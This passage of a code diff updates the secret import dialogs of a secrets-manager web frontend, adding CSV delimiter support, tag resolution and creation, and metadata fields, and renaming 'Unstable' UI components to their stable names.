+            {MATRIX_ROWS.map((row) => (
+              <MatrixImportModalTableRow
+                key={row.mapKey}
+                importSecretMatrixMap={importSecretMatrixMap}
+                setImportSecretMatrixMap={setImportSecretMatrixMap}
+                headers={headers}
+                mapKey={row.mapKey}
+                label={row.label}
+                icon={row.icon}
+                hint={row.hint?.(innerSeparator, delimiter)}
+              />
+            ))}
           </tbody>
         </table>
       </div>
@@ -203,6 +417,7 @@ export const CsvColumnMapDialog = ({
   onOpenChange,
   headers,
   matrix,
+  delimiter,
   onParsedSecrets
 }: Props) => {
   return (
@@ -211,6 +426,7 @@ export const CsvColumnMapDialog = ({
         <CsvColumnMapContent
           headers={headers}
           matrix={matrix}
+          delimiter={delimiter}
           onParsedSecrets={onParsedSecrets}
           onClose={() => onOpenChange(false)}
         />
diff --git a/frontend/src/pages/secret-manager/OverviewPage/components/SecretDropzone/ImportSecretsModal.tsx b/frontend/src/pages/secret-manager/OverviewPage/components/SecretDropzone/ImportSecretsModal.tsx
index 0e24dd96f5d..966d1076436 100644
--- a/frontend/src/pages/secret-manager/OverviewPage/components/SecretDropzone/ImportSecretsModal.tsx
+++ b/frontend/src/pages/secret-manager/OverviewPage/components/SecretDropzone/ImportSecretsModal.tsx
@@ -2,17 +2,21 @@ import { ChangeEvent, DragEvent, useCallback, useState } from "react";
 import { subject } from "@casl/ability";
 import {
   ClipboardPasteIcon,
+  CodeXmlIcon,
   EyeIcon,
   EyeOffIcon,
   InfoIcon,
   MessageSquareIcon,
-  UploadIcon
+  TagsIcon,
+  UploadIcon,
+  WrapTextIcon
 } from "lucide-react";
 import { twMerge } from "tailwind-merge";
 
 import { createNotification } from "@app/components/notifications";
 import { ProjectPermissionCan } from "@app/components/permissions";
 import {
+  CsvDelimiter,
   parseCsvToMatrix,
   parseDotEnv,
   parseJson,
@@ -26,25 +30,25 @@ import {
   DialogFooter,
   DialogHeader,
   DialogTitle,
+  Empty,
+  EmptyDescription,
+  EmptyHeader,
   EmptyMedia,
+  EmptyTitle,
   Field,
   FieldContent,
   FieldLabel,
+  IconButton,
   Switch,
+  Table,
+  TableBody,
+  TableCell,
+  TableHead,
+  TableHeader,
+  TableRow,
   Tooltip,
   TooltipContent,
-  TooltipTrigger,
-  UnstableEmpty,
-  UnstableEmptyDescription,
-  UnstableEmptyHeader,
-  UnstableEmptyTitle,
-  UnstableIconButton,
-  UnstableTable,
-  UnstableTableBody,
-  UnstableTableCell,
-  UnstableTableHead,
-  UnstableTableHeader,
-  UnstableTableRow
+  TooltipTrigger
 } from "@app/components/v3";
 import { FilterableSelect } from "@app/components/v3/generic/ReactSelect";
 import { ProjectPermissionActions, ProjectPermissionSub, useProjectPermission } from "@app/context";
@@ -52,12 +56,12 @@ import { ProjectPermissionSecretActions } from "@app/context/ProjectPermissionCo
 import { useToggle } from "@app/hooks";
 import { useCreateSecretBatch, useGetOrCreateFolder, useUpdateSecretBatch } from "@app/hooks/api";
 import { fetchProjectSecrets, mergePersonalSecrets } from "@app/hooks/api/secrets/queries";
+import { useCreateWsTag, useGetWsTags } from "@app/hooks/api/tags/queries";
 import { SecretType } from "@app/hooks/api/types";
 
 import { CsvColumnMapDialog } from "./CsvColumnMapDialog";
 import { PasteSecretsDialog } from "./PasteSecretsDialog";
-
-type TParsedEnv = Record<string, { value: string; comments: string[] }>;
+import { TParsedEnv } from "./types";
 
 type Props = {
   isOpen: boolean;
@@ -66,7 +70,7 @@ type Props = {
   projectId: string;
   secretPath: string;
   initialParsedSecrets?: TParsedEnv | null;
-  onComplete?: () => void;
+  onComplete?: (envSlugs: string[]) => void;
 };
 
 type ContentProps = {
@@ -74,7 +78,7 @@ type ContentProps = {
   projectId: string;
   secretPath: string;
   initialParsedSecrets?: TParsedEnv | null;
-  onComplete?: () => void;
+  onComplete?: (envSlugs: string[]) => void;
   onClose: () => void;
 };
 
@@ -92,13 +96,24 @@ const ImportSecretsContent = ({
   const [isDragActive, setDragActive] = useToggle();
   const [isImporting, setIsImporting] = useToggle();
   const [isPasteOpen, setIsPasteOpen] = useState(false);
-  const [csvData, setCsvData] = useState<{ headers: string[]; matrix: string[][] } | null>(null);
+  const [csvData, setCsvData] = useState<{
+    headers: string[];
+    matrix: string[][];
+    delimiter: CsvDelimiter;
+  } | null>(null);
   const [visibleSecretKeys, setVisibleSecretKeys] = useState<Set<string>>(new Set());
   const [shouldOverwrite, setShouldOverwrite] = useState(false);
 
   const { mutateAsync: createSecretBatch } = useCreateSecretBatch();
   const { mutateAsync: updateSecretBatch } = useUpdateSecretBatch();
   const { mutateAsync: getOrCreateFolder } = useGetOrCreateFolder();
+  const { mutateAsync: createWsTag } = useCreateWsTag();
+
+  const canReadTags = permission.can(ProjectPermissionActions.Read, ProjectPermissionSub.Tags);
+  const canCreateTags = permission.can(ProjectPermissionActions.Create, ProjectPermissionSub.Tags);
+  const { data: projectTags, isPending: isTagsLoading } = useGetWsTags(
+    canReadTags ? projectId : ""
+  );
 
   const allowedEnvironments = environments.filter((env) =>
     permission.can(
@@ -114,6 +129,10 @@ const ImportSecretsContent = ({
 
   const activeSecrets = initialParsedSecrets || parsedSecrets;
   const secretCount = activeSecrets ? Object.keys(activeSecrets).length : 0;
+  const hasTagsToResolve = activeSecrets
+    ? Object.values(activeSecrets).some((s) => s.tagSlugs?.length)
+    : false;
+  const isWaitingForTags = canReadTags && hasTagsToResolve && isTagsLoading;
 
   const handleParsedSecrets = useCallback((env: TParsedEnv) => {
     if (!Object.keys(env).length) {
@@ -158,7 +177,7 @@ const ImportSecretsContent = ({
             handleParsedSecrets(parseYaml(src));
             break;
           case "text/csv": {
-            const fullMatrix = parseCsvToMatrix(src);
+            const { matrix: fullMatrix, delimiter } = parseCsvToMatrix(src);
             if (!fullMatrix.length) {
               createNotification({
                 type: "error",
@@ -166,7 +185,7 @@ const ImportSecretsContent = ({
               });
               return;
             }
-            setCsvData({ headers: fullMatrix[0], matrix: fullMatrix.slice(1) });
+            setCsvData({ headers: fullMatrix[0], matrix: fullMatrix.slice(1), delimiter });
             return;
           }
           default:
@@ -206,6 +225,7 @@ const ImportSecretsContent = ({
   const handleFileUpload = (e: ChangeEvent<HTMLInputElement>) => {
     e.preventDefault();
     parseFile(e.target?.files?.[0]);
+    e.target.value = "";
   };
 
   const handleImport = async () => {
@@ -214,6 +234,51 @@ const ImportSecretsContent = ({
     setIsImporting.on();
 
     try {
+      const requestedSlugs = new Set<string>();
+      Object.values(activeSecrets).forEach((s) => {
+        s.tagSlugs?.forEach((slug) => requestedSlugs.add(slug));
+      });
+
+      const slugToTagId = new Map<string, string>();
+      (projectTags || []).forEach((t) => slugToTagId.set(t.slug, t.id));
+
+      const missingSlugs = [...requestedSlugs].filter((slug) => !slugToTagId.has(slug));
+      let skippedTagsCount = 0;
+
+      if (missingSlugs.length) {
+        if (canCreateTags) {
+          const createdTags = await Promise.allSettled(
+            missingSlugs.map((slug) => createWsTag({ projectId, tagSlug: slug, tagColor: "" }))
+          );
+          createdTags.forEach((result, idx) => {
+            if (result.status === "fulfilled") {
+              slugToTagId.set(result.value.slug, result.value.id);
+            } else {
+              skippedTagsCount += 1;
+              // eslint-disable-next-line no-console
+              console.error(`Failed to create tag ${missingSlugs[idx]}`, result.reason);
+            }
+          });
+        } else {
+          skippedTagsCount = missingSlugs.length;
+        }
+      }
+
+      if (skippedTagsCount > 0) {
+        createNotification({
+          type: "warning",
+          text: canCreateTags
+            ? `Failed to create ${skippedTagsCount} tag${skippedTagsCount > 1 ? "s" : ""}; those tags were skipped.`
+            : `${skippedTagsCount} tag${skippedTagsCount > 1 ? "s were" : " was"} skipped because ${skippedTagsCount > 1 ? "they don't" : "it doesn't"} exist and you don't have permission to create tags.`
+        });
+      }
+
+      const resolveTagIds = (slugs?: string[]): string[] | undefined => {
+        if (!slugs?.length) return undefined;
+        const ids = slugs.map((s) => slugToTagId.get(s)).filter((id): id is string => Boolean(id));
+        return ids.length ? ids : undefined;
+      };
+
       const envPromises = selectedEnvs.map(async (env) => {
         // Ensure folder exists if not root
         if (secretPath !== "/") {
@@ -259,7 +324,12 @@ const ImportSecretsContent = ({
             secretKey,
             secretValue: secretData.value,
             secretComment: secretData.comments.join("\n") || "",
-            type: SecretType.Shared
+            type: SecretType.Shared,
+            tagIds: resolveTagIds(secretData.tagSlugs),
+            secretMetadata: secretData.secretMetadata?.length
+              ? secretData.secretMetadata
+              : undefined,
+            skipMultilineEncoding: secretData.skipMultilineEncoding
           }));
 
         const secretsToUpdate = Object.entries(activeSecrets)
@@ -268,7 +338,12 @@ const ImportSecretsContent = ({
             secretKey,
             secretValue: secretData.value,
             secretComment: secretData.comments.join("\n") || undefined,
-            type: SecretType.Shared
+            type: SecretType.Shared,
+            tagIds: resolveTagIds(secretData.tagSlugs),
+            secretMetadata: secretData.secretMetadata?.length
+              ? secretData.secretMetadata
+              : undefined,
+            skipMultilineEncoding: secretData.skipMultilineEncoding
           }));
 
         const results = await Promise.allSettled([
@@ -304,7 +379,9 @@ const ImportSecretsContent = ({
       const envResults = await Promise.allSettled(envPromises);
 
       const successEnvs: string[] = [];
+      const successEnvSlugs: string[] = [];
       const approvalEnvs: string[] = [];
+      const approvalEnvSlugs: string[] = [];
       const failedEnvs: string[] = [];
 
       envResults.forEach((result) => {
@@ -313,8 +390,10 @@ const ImportSecretsContent = ({
             failedEnvs.push(result.value.environment);
           } else if (result.value.hasApproval) {
             approvalEnvs.push(result.value.environment);
+            approvalEnvSlugs.push(result.value.slug);
           } else {
             successEnvs.push(result.value.environment);
+            successEnvSlugs.push(result.value.slug);
           }
         } else if (result.status === "rejected") {
           failedEnvs.push("unknown");
@@ -343,7 +422,10 @@ const ImportSecretsContent = ({
       }
 
       onClose();
-      onComplete?.();
+      const completedEnvSlugs = [...successEnvSlugs, ...approvalEnvSlugs];
+      if (completedEnvSlugs.length) {
+        onComplete?.(completedEnvSlugs);
+      }
     } catch (err) {
       console.error(err);
       createNotification({
@@ -406,7 +488,7 @@ const ImportSecretsContent = ({
             })}
           >
             {(isAllowed) => (
-              <UnstableEmpty
+              <Empty
                 className={twMerge(
                   "relative cursor-pointer border transition-colors duration-75",
                   isDragActive && "bg-container-hover"
@@ -416,17 +498,17 @@ const ImportSecretsContent = ({
                 onDragOver={handleDrag}
                 onDrop={handleDrop}
               >
-                <UnstableEmptyHeader>
+                <EmptyHeader>
                   <EmptyMedia variant="icon">
                     <UploadIcon />
                   </EmptyMedia>
-                  <UnstableEmptyTitle>
+                  <EmptyTitle>
                     {isDragActive ? "Drop your file here" : "Upload your secrets"}
-                  </UnstableEmptyTitle>
-                  <UnstableEmptyDescription>
+                  </EmptyTitle>
+                  <EmptyDescription>
                     Drag and drop your .env, .json, .yml, or .csv files here, or click to browse
-                  </UnstableEmptyDescription>
-                </UnstableEmptyHeader>
+                  </EmptyDescription>
+                </EmptyHeader>
                 <input
                   type="file"
                   disabled={!isAllowed}
@@ -434,7 +516,7 @@ const ImportSecretsContent = ({
                   accept=".txt,.env,.yml,.yaml,.json,.csv"
                   onChange={handleFileUpload}
                 />
-              </UnstableEmpty>
+              </Empty>
             )}
           </ProjectPermissionCan>
 
@@ -444,7 +526,12 @@ const ImportSecretsContent = ({
             <div className="flex-1 border-t border-muted/50" />
           </div>
 
-          <Button variant="outline" className="w-full" onClick={() => setIsPasteOpen(true)}>
+          <Button
+            variant="outline"
+            size="lg"
+            className="w-full"
+            onClick={() => setIsPasteOpen(true)}
+          >
             <ClipboardPasteIcon className="mr-2 size-4" />
             Paste Secrets
           </Button>
@@ -452,76 +539,118 @@ const ImportSecretsContent = ({
       ) : (
         <div className="flex flex-col gap-4">
           <div className="relative flex flex-col gap-2">
-            <UnstableTable
+            <Table
               className="border-collapse"
               containerClassName="max-h-[60vh] overflow-y-auto overflow-x-hidden"
             >
-              <UnstableTableHeader className="sticky top-0 z-[1] after:pointer-events-none after:absolute after:inset-x-0 after:-top-px after:h-px after:bg-container">
-                <UnstableTableRow className="relative h-9">
-                  <UnstableTableHead className="bg-container shadow-[inset_0_-1px_0_var(--color-border)]">
+              <TableHeader className="sticky top-0 z-[1] after:pointer-events-none after:absolute after:inset-x-0 after:-top-px after:h-px after:bg-container">
+                <TableRow className="relative h-9">
+                  <TableHead className="bg-container shadow-[inset_0_-1px_0_var(--color-border)]">
                     Key
-                  </UnstableTableHead>
-                  <UnstableTableHead className="bg-container shadow-[inset_0_-1px_0_var(--color-border)]">
+                  </TableHead>
+                  <TableHead className="bg-container shadow-[inset_0_-1px_0_var(--color-border)]">
                     Value
-                  </UnstableTableHead>
-                  <UnstableTableHead className="w-10 bg-container shadow-[inset_0_-1px_0_var(--color-border)]">
-                    <UnstableIconButton
-                      variant="ghost"
-                      size="xs"
-                      onClick={toggleAllSecretVisibility}
-                    >
+                  </TableHead>
+                  <TableHead className="w-10 bg-container shadow-[inset_0_-1px_0_var(--color-border)]">
+                    <IconButton variant="ghost" size="xs" onClick={toggleAllSecretVisibility}>
                       {areAllVisible ? <EyeOffIcon /> : <EyeIcon />}
-                    </UnstableIconButton>
-                  </UnstableTableHead>
-                </UnstableTableRow>
-              </UnstableTableHeader>
-              <UnstableTableBody>
+                    </IconButton>
+                  </TableHead>
+                </TableRow>
+              </TableHeader>
+              <TableBody>
                 {Object.entries(activeSecrets!).map(([key, secretData]) => {
                   const isVisible = visibleSecretKeys.has(key);
-                  const hasComments = secretData.comments.length > 0;
+                  const hasComments = secretData.comments.some((c) => c);
+                  const hasTags = Boolean(secretData.tagSlugs?.length);
+                  const hasMetadata = Boolean(secretData.secretMetadata?.length);
+                  const hasSkipMl = secretData.skipMultilineEncoding === true;
                   return (
-                    <UnstableTableRow key={key}>
-                      <UnstableTableCell
-                        isTruncatable
-                        className="w-1/2 overflow-hidden font-mono text-xs"
-                      >
+                    <TableRow key={key}>
+                      <TableCell isTruncatable className="w-1/2 overflow-hidden font-mono text-xs">
                         <div className="flex w-full items-center gap-1.5">
                           <p className="truncate">{key}</p>
                           {hasComments && (
                             <Tooltip>
                               <TooltipTrigger asChild>
-                                <MessageSquareIcon className="size-3.5 text-muted" />
+                                <MessageSquareIcon className="size-3.5 shrink-0 text-muted" />
                               </TooltipTrigger>
                               <TooltipContent>
-                                <p className="max-w-xs whitespace-pre-wrap">
+                                <p className="max-w-xl whitespace-pre-wrap">
                                   {secretData.comments.join("\n")}
                                 </p>
                               </TooltipContent>
                             </Tooltip>
                           )}
+                          {hasTags && (
+                            <Tooltip delayDuration={300}>
+                              <TooltipTrigger asChild>
+                                <span className="flex size-5 shrink-0 items-center justify-center text-muted">
+                                  <TagsIcon className="size-3.5" />
+                                </span>
+                              </TooltipTrigger>
+                              <TooltipContent className="max-w-xl">
+                                <div className="flex flex-col gap-1">
+                                  {secretData.tagSlugs!.map((slug) => (
+                                    <span key={slug} className="font-mono text-xs break-all">
+                                      {slug}
+                                    </span>
+                                  ))}
+                                </div>
+                              </TooltipContent>
+                            </Tooltip>
+                          )}
+                          {hasMetadata && (
+                            <Tooltip delayDuration={300}>
+                              <TooltipTrigger asChild>
+                                <span className="flex size-5 shrink-0 items-center justify-center text-muted">
+                                  <CodeXmlIcon className="size-3.5" />
+                                </span>
+                              </TooltipTrigger>
+                              <TooltipContent className="max-w-xl">
+                                <div className="flex flex-col gap-1">
+                                  {secretData.secretMetadata!.map((m) => (
+                                    <span key={m.key} className="font-mono text-xs break-all">
+                                      {m.key}={m.value}
+                                    </span>
+                                  ))}
+                                </div>
+                              </TooltipContent>
+                            </Tooltip>
+                          )}
+                          {hasSkipMl && (
+                            <Tooltip>
+                              <TooltipTrigger asChild>
+                                <span className="flex size-5 shrink-0 items-center justify-center text-muted">
+                                  <WrapTextIcon className="size-3.5" />
+                                </span>
+                              </TooltipTrigger>
+                              <TooltipContent>Multi-line encoding enabled</TooltipContent>
+                            </Tooltip>
+                          )}
                         </div>
-                      </UnstableTableCell>
-                      <UnstableTableCell isTruncatable className="w-1/2 font-mono text-xs">
+                      </TableCell>
+                      <TableCell isTruncatable className="w-1/2 font-mono text-xs">
                         {isVisible ? (
                           secretData.value || <span className="text-muted">EMPTY</span>
                         ) : (
                           <span className="tracking-widest">••••••••••••••••••••••</span>
                         )}
-                      </UnstableTableCell>
-                      <UnstableTableCell className="w-10">
-                        <UnstableIconButton
+                      </TableCell>
+                      <TableCell className="w-10">
+                        <IconButton
                           variant="ghost"
                           size="xs"
                           onClick={() => toggleSecretVisibility(key)}
                         >
                           {isVisible ? <EyeOffIcon /> : <EyeIcon />}
-                        </UnstableIconButton>
-                      </UnstableTableCell>
-                    </UnstableTableRow>
+                        </IconButton>
+                      </TableCell>
+                    </TableRow>
                   );
                 })}
-              </UnstableTableBody>
-            </UnstableTable>
+              </TableBody>
+            </Table>
           </div>
           <Field>
             <FieldLabel>
@@ -582,8 +711,8 @@ const ImportSecretsContent = ({
           <Button
             variant="project"
             onClick={handleImport}
-            isDisabled={!selectedEnvs.length || isImporting}
-            isPending={isImporting}
+            isDisabled={!selectedEnvs.length || isImporting || isWaitingForTags}
+            isPending={isImporting || isWaitingForTags}
           >
             Upload {secretCount} Secret{secretCount !== 1 ? "s" : ""}
           </Button>
@@ -604,6 +733,7 @@ const ImportSecretsContent = ({
           }}
           headers={csvData.headers}
           matrix={csvData.matrix}
+          delimiter={csvData.delimiter}
           onParsedSecrets={(env) => {
             setCsvData(null);
             handleParsedSecrets(env);
@@ -631,7 +761,7 @@ export const ImportSecretsModal = ({
         else onOpenChange(open);
       }}
     >
-      <DialogContent className="max-w-2xl">
+      <DialogContent className="max-w-4xl">
         <ImportSecretsContent
           environments={environments}
           projectId={projectId}
diff --git a/frontend/src/pages/secret-manager/OverviewPage/components/SecretDropzone/PasteSecretsDialog.tsx b/frontend/src/pages/secret-manager/OverviewPage/components/SecretDropzone/PasteSecretsDialog.tsx
index fabbf74c7bc..156f3cd34a5 100644
--- a/frontend/src/pages/secret-manager/OverviewPage/components/SecretDropzone/PasteSecretsDialog.tsx
+++ b/frontend/src/pages/secret-manager/OverviewPage/components/SecretDropzone/PasteSecretsDialog.tsx
@@ -82,14 +82,22 @@ const PasteSecretsContent = ({ onParsedSecrets, onClose }: ContentProps) => {
               </TooltipTrigger>
               <TooltipContent className="max-w-lg py-3 whitespace-pre-line">
                 <div className="flex flex-col gap-2">
-                  <p>Example Formats:</p>
+                  <div>
+                    <p>Example Formats:</p>
+                    <p className="text-xs text-muted">
+                      Each entry&apos;s key becomes the secret name and its value becomes the secret
+                      value.
+                    </p>
+                  </div>
                   <pre className="rounded-md bg-container p-3 text-xs">
                     {/* eslint-disable-next-line react/jsx-no-comment-textnodes */}
-                    <p className="text-mineshaft-400">// .json</p>
+                    <p className="text-mineshaft-400">
+                      // .json — {"{ <secret-name>: <secret-value> }"}
+                    </p>
                     {JSON.stringify(
                       {
-                        APP_NAME: "example-service",
-                        APP_VERSION: "1.2.3",
+                        DATABASE_URL: "postgres://user:pass@host:5432/db",
+                        API_KEY: "sk_live_abc123",
                         NODE_ENV: "production"
                       },
                       null,
diff --git a/frontend/src/pages/secret-manager/OverviewPage/components/SecretDropzone/SecretDropzone.tsx b/frontend/src/pages/secret-manager/OverviewPage/components/SecretDropzone/SecretDropzone.tsx
index 7f067a819c8..792add3dbd9 100644
--- a/frontend/src/pages/secret-manager/OverviewPage/components/SecretDropzone/SecretDropzone.tsx
+++ b/frontend/src/pages/secret-manager/OverviewPage/components/SecretDropzone/SecretDropzone.tsx
@@ -5,6 +5,7 @@ import { twMerge } from "tailwind-merge";
 import { createNotification } from "@app/components/notifications";
 import { ProjectPermissionCan } from "@app/components/permissions";
 import {
+  CsvDelimiter,
   parseCsvToMatrix,
   parseDotEnv,
   parseJson,
@@ -12,23 +13,22 @@ import {
 } from "@app/components/utilities/parseSecrets";
 import {
   Button,
+  Empty,
+  EmptyContent,
+  EmptyDescription,
+  EmptyHeader,
   EmptyMedia,
+  EmptyTitle,
   Tooltip,
   TooltipContent,
-  TooltipTrigger,
-  UnstableEmpty,
-  UnstableEmptyContent,
-  UnstableEmptyDescription,
-  UnstableEmptyHeader,
-  UnstableEmptyTitle
+  TooltipTrigger
 } from "@app/components/v3";
 import { ProjectPermissionActions, ProjectPermissionSub } from "@app/context";
 import { useToggle } from "@app/hooks";
 
 import { CsvColumnMapDialog } from "./CsvColumnMapDialog";
 import { PasteSecretsDialog } from "./PasteSecretsDialog";
-
-type TParsedEnv = Record<string, { value: string; comments: string[] }>;
+import { TParsedEnv } from "./types";
 
 type Props = {
   onParsedSecrets: (env: TParsedEnv) => void;
@@ -38,7 +38,11 @@ type Props = {
 export const SecretDropzone = ({ onParsedSecrets, onAddSecret }: Props) => {
   const [isDragActive, setDragActive] = useToggle();
   const [isPasteOpen, setIsPasteOpen] = useState(false);
-  const [csvData, setCsvData] = useState<{ headers: string[]; matrix: string[][] } | null>(null);
+  const [csvData, setCsvData] = useState<{
+    headers: string[];
+    matrix: string[][];
+    delimiter: CsvDelimiter;
+  } | null>(null);
 
   const handleParsedSecrets = (env: TParsedEnv) => {
     if (!Object.keys(env).length) {
@@ -78,7 +82,7 @@ export const SecretDropzone = ({ onParsedSecrets, onAddSecret }: Props) => {
           handleParsedSecrets(parseYaml(src));
           break;
         case "text/csv": {
-          const fullMatrix = parseCsvToMatrix(src);
+          const { matrix: fullMatrix, delimiter } = parseCsvToMatrix(src);
           if (!fullMatrix.length) {
             createNotification({
               type: "error",
@@ -86,7 +90,7 @@ export const SecretDropzone = ({ onParsedSecrets, onAddSecret }: Props) => {
             });
             return;
           }
-          setCsvData({ headers: fullMatrix[0], matrix: fullMatrix.slice(1) });
+          setCsvData({ headers: fullMatrix[0], matrix: fullMatrix.slice(1), delimiter });
           return;
         }
         default:
@@ -131,7 +135,7 @@ export const SecretDropzone = ({ onParsedSecrets, onAddSecret }: Props) => {
     <>
       <ProjectPermissionCan I={ProjectPermissionActions.Create} a={ProjectPermissionSub.Secrets}>
         {(isAllowed) => (
-          <UnstableEmpty
+          <Empty
             className={twMerge(
               "relative border !pb-20 transition-colors duration-75",
               isAllowed && isDragActive && "bg-container-hover"
@@ -141,18 +145,18 @@ export const SecretDropzone = ({ onParsedSecrets, onAddSecret }: Props) => {
             onDragOver={handleDrag}
             onDrop={isAllowed ? handleDrop : undefined}
           >
-            <UnstableEmptyHeader>
+            <EmptyHeader>
               <EmptyMedia variant="icon">
                 <UploadIcon />
               </EmptyMedia>
-              <UnstableEmptyTitle>
+              <EmptyTitle>
                 {isDragActive ? "Drop your file here" : "Upload your secrets"}
-              </UnstableEmptyTitle>
-              <UnstableEmptyDescription>
+              </EmptyTitle>
+              <EmptyDescription>
                 Drag and drop your .env, .json, .yml, or .csv files here or click to browse
-              </UnstableEmptyDescription>
-            </UnstableEmptyHeader>
-            <UnstableEmptyContent>
+              </EmptyDescription>
+            </EmptyHeader>
+            <EmptyContent>
               {isAllowed && (
                 <input
                   type="file"
@@ -186,8 +190,8 @@ export const SecretDropzone = ({ onParsedSecrets, onAddSecret }: Props) => {
                   <TooltipContent>Access Denied</TooltipContent>
                 </Tooltip>
               </div>
-            </UnstableEmptyContent>
-          </UnstableEmpty>
+            </EmptyContent>
+          </Empty>
         )}
       </ProjectPermissionCan>
       <PasteSecretsDialog
@@ -204,6 +208,7 @@ export const SecretDropzone = ({ onParsedSecrets, onAddSecret }: Props) => {
           }}
           headers={csvData.headers}
           matrix={csvData.matrix}
+          delimiter={csvData.delimiter}
           onParsedSecrets={(env) => {
             setCsvData(null);
             handleParsedSecrets(env);
diff --git a/frontend/src/pages/secret-manager/OverviewPage/components/SecretDropzone/types.ts b/frontend/src/pages/secret-manager/OverviewPage/components/SecretDropzone/types.ts
new file mode 100644
index 00000000000..a61b381d866
--- /dev/null
+++ b/frontend/src/pages/secret-manager/OverviewPage/components/SecretDropzone/types.ts
@@ -0,0 +1,10 @@
+export type TParsedEnv = Record<
+  string,
+  {
+    value: string;
+    comments: string[];
+    tagSlugs?: string[];
+    secretMetadata?: { key: string; value: string }[];
+    skipMultilineEncoding?: boolean;
+  }
+>;
diff --git a/frontend/src/pages/secret-manager/OverviewPage/components/SecretImportTableRow/SecretImportSecretRow.tsx b/frontend/src/pages/secret-manager/OverviewPage/components/SecretImportTableRow/SecretImportSecretRow.tsx
index 0f42bd65b62..5c6791f3aa9 100644
--- a/frontend/src/pages/secret-manager/OverviewPage/components/SecretImportTableRow/SecretImportSecretRow.tsx
+++ b/frontend/src/pages/secret-manager/OverviewPage/components/SecretImportTableRow/SecretImportSecretRow.tsx
@@ -1,12 +1,6 @@
 import { TriangleAlertIcon } from "lucide-react";
 
-import {
-  Tooltip,
-  TooltipContent,
-  TooltipTrigger,
-  UnstableTableCell,
-  UnstableTableRow
-} from "@app/components/v3";
+import { TableCell, TableRow, Tooltip, TooltipContent, TooltipTrigger } from "@app/components/v3";
 
 import { SecretImportSecretValueCell } from "./SecretImportSecretValueCell";
 
@@ -26,8 +20,8 @@ export const SecretImportSecretRow = ({
   missingFromEnvs
 }: Props) => {
   return (
-    <UnstableTableRow className="group">
-      <UnstableTableCell isTruncatable>
+    <TableRow className="group">
+      <TableCell isTruncatable>
         <div className="flex items-center gap-1.5">
           <span className="truncate">{secretKey}</span>
           {missingFromEnvs && missingFromEnvs.length > 0 && (
@@ -39,15 +33,15 @@ export const SecretImportSecretRow = ({
             </Tooltip>
           )}
         </div>
-      </UnstableTableCell>
-      <UnstableTableCell>
+      </TableCell>
+      <TableCell>
         <SecretImportSecretValueCell
           secretKey={secretKey}
           environment={environment}
           secretPath={secretPath}
           isEmpty={isEmpty}
         />
-      </UnstableTableCell>
-    </UnstableTableRow>
+      </TableCell>
+    </TableRow>
   );
 };
diff --git a/frontend/src/pages/secret-manager/OverviewPage/components/SecretImportTableRow/SecretImportSecretValueCell.tsx b/frontend/src/pages/secret-manager/OverviewPage/components/SecretImportTableRow/SecretImportSecretValueCell.tsx
index d9b6d45c612..35cc603e7b0 100644
--- a/frontend/src/pages/secret-manager/OverviewPage/components/SecretImportTableRow/SecretImportSecretValueCell.tsx
+++ b/frontend/src/pages/secret-manager/OverviewPage/components/SecretImportTableRow/SecretImportSecretValueCell.tsx
@@ -3,7 +3,7 @@ import { twMerge } from "tailwind-merge";
 
 import { createNotification } from "@app/components/notifications";
 import { SecretInput } from "@app/components/v2";
-import { Tooltip, TooltipContent, TooltipTrigger, UnstableIconButton } from "@app/components/v3";
+import { IconButton, Tooltip, TooltipContent, TooltipTrigger } from "@app/components/v3";
 import { useProject } from "@app/context";
 import { useTimedReset, useToggle } from "@app/hooks";
 import { useGetSecretValue } from "@app/hooks/api/dashboard/queries";
@@ -96,14 +96,14 @@ export const SecretImportSecretValueCell = ({
       >
         <Tooltip>
           <TooltipTrigger>
-            <UnstableIconButton
+            <IconButton
               variant="ghost"
               size="xs"
               className="w-0 overflow-hidden border-0 transition-all duration-300 group-hover:w-7"
               onClick={handleCopyValue}
             >
               {isCopied ? <ClipboardCheckIcon /> : <CopyIcon />}
-            </UnstableIconButton>
+            </IconButton>
           </TooltipTrigger>
           <TooltipContent>{isCopied ? "Copied" : "Copy value"}</TooltipContent>
         </Tooltip>
diff --git a/frontend/src/pages/secret-manager/OverviewPage/components/SecretImportTableRow/SecretImportTableRow.tsx b/frontend/src/pages/secret-manager/OverviewPage/components/SecretImportTableRow/SecretImportTableRow.tsx
index ed672407aa6..ebc4930ac35 100644
--- a/frontend/src/pages/secret-manager/OverviewPage/components/SecretImportTableRow/SecretImportTableRow.tsx
+++ b/frontend/src/pages/secret-manager/OverviewPage/components/SecretImportTableRow/SecretImportTableRow.tsx
@@ -20,25 +20,25 @@ import { createNotification } from "@app/components/notifications";
 import { ProjectPermissionCan } from "@app/components/permissions";
 import {
   Badge,
+  Empty,
+  EmptyHeader,
   EmptyMedia,
+  EmptyTitle,
+  IconButton,
   Select,
   SelectContent,
   SelectItem,
   SelectTrigger,
   SelectValue,
+  Table,
+  TableBody,
+  TableCell,
+  TableHead,
+  TableHeader,
+  TableRow,
   Tooltip,
   TooltipContent,
-  TooltipTrigger,
-  UnstableEmpty,
-  UnstableEmptyHeader,
-  UnstableEmptyTitle,
-  UnstableIconButton,
-  UnstableTable,
-  UnstableTableBody,
-  UnstableTableCell,
-  UnstableTableHead,
-  UnstableTableHeader,
-  UnstableTableRow
+  TooltipTrigger
 } from "@app/components/v3";
 import { ProjectPermissionActions, ProjectPermissionSub, useProject } from "@app/context";
 import { useToggle } from "@app/hooks";
@@ -326,7 +326,7 @@ export const SecretImportTableRow = ({
             {(isAllowed) => (
               <Tooltip>
                 <TooltipTrigger>
-                  <UnstableIconButton
+                  <IconButton
                     variant="ghost"
                     size="xs"
                     className={twMerge(
@@ -340,7 +340,7 @@ export const SecretImportTableRow = ({
                     }}
                   >
                     <RefreshCwIcon />
-                  </UnstableIconButton>
+                  </IconButton>
                 </TooltipTrigger>
                 <TooltipContent>Resync</TooltipContent>
               </Tooltip>
@@ -376,7 +376,7 @@ export const SecretImportTableRow = ({
             {(isAllowed) => (
               <Tooltip>
                 <TooltipTrigger>
-                  <UnstableIconButton
+                  <IconButton
                     variant="ghost"
                     size="xs"
                     className={twMerge(
@@ -390,7 +390,7 @@ export const SecretImportTableRow = ({
                     }}
                   >
                     <RefreshCwIcon />
-                  </UnstableIconButton>
+                  </IconButton>
                 </TooltipTrigger>
                 <TooltipContent>Resync</TooltipContent>
               </Tooltip>
@@ -409,7 +409,7 @@ export const SecretImportTableRow = ({
           {(isAllowed) => (
             <Tooltip>
               <TooltipTrigger>
-                <UnstableIconButton
+                <IconButton
                   variant="ghost"
                   size="xs"
                   className="w-0 overflow-hidden border-0 transition-all duration-300 group-hover:w-7 hover:text-danger"
